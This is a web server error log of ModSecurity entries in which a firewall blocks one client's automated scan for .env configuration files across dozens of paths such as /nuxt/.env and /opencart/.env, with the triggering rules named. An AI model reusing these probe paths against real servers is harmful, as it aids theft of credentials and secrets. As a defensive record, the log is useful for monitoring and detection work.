[Thu Feb 26 01:03:12.041629 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P3AAAAAU&quot;]
[Thu Feb 26 01:03:12.041801 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P3AAAAAU&quot;]
[Thu Feb 26 01:03:12.115692 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packages/styled-ui-docs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk_AAAAAM&quot;]
[Thu Feb 26 01:03:12.115949 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk_AAAAAM&quot;]
[Thu Feb 26 01:03:12.116096 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk_AAAAAM&quot;]
[Thu Feb 26 01:03:12.145230 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packages/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk_QAAAAM&quot;]
[Thu Feb 26 01:03:12.145466 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk_QAAAAM&quot;]
[Thu Feb 26 01:03:12.145606 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk_QAAAAM&quot;]
[Thu Feb 26 01:03:12.175569 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packed/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk_gAAAAM&quot;]
[Thu Feb 26 01:03:12.175782 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk_gAAAAM&quot;]
[Thu Feb 26 01:03:12.175920 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk_gAAAAM&quot;]
[Thu Feb 26 01:03:12.197260 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /old/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P4QAAAAU&quot;]
[Thu Feb 26 01:03:12.197482 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P4QAAAAU&quot;]
[Thu Feb 26 01:03:12.197627 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P4QAAAAU&quot;]
[Thu Feb 26 01:03:12.225689 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /page-editor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk_wAAAAM&quot;]
[Thu Feb 26 01:03:12.225919 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk_wAAAAM&quot;]
[Thu Feb 26 01:03:12.226070 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk_wAAAAM&quot;]
[Thu Feb 26 01:03:12.255485 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /panel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElAAAAAAM&quot;]
[Thu Feb 26 01:03:12.255722 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElAAAAAAM&quot;]
[Thu Feb 26 01:03:12.255863 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElAAAAAAM&quot;]
[Thu Feb 26 01:03:12.298878 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /parity/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElAQAAAAM&quot;]
[Thu Feb 26 01:03:12.299121 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElAQAAAAM&quot;]
[Thu Feb 26 01:03:12.299282 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElAQAAAAM&quot;]
[Thu Feb 26 01:03:12.311626 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /oldsanta/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P5AAAAAU&quot;]
[Thu Feb 26 01:03:12.311850 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P5AAAAAU&quot;]
[Thu Feb 26 01:03:12.312036 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P5AAAAAU&quot;]
[Thu Feb 26 01:03:12.332558 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /passportjs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElAgAAAAM&quot;]
[Thu Feb 26 01:03:12.332794 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElAgAAAAM&quot;]
[Thu Feb 26 01:03:12.332953 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElAgAAAAM&quot;]
[Thu Feb 26 01:03:12.338912 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /opencart/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P5QAAAAU&quot;]
[Thu Feb 26 01:03:12.339120 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P5QAAAAU&quot;]
[Thu Feb 26 01:03:12.339262 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P5QAAAAU&quot;]
[Thu Feb 26 01:03:12.363412 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ops/vagrant/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P5gAAAAU&quot;]
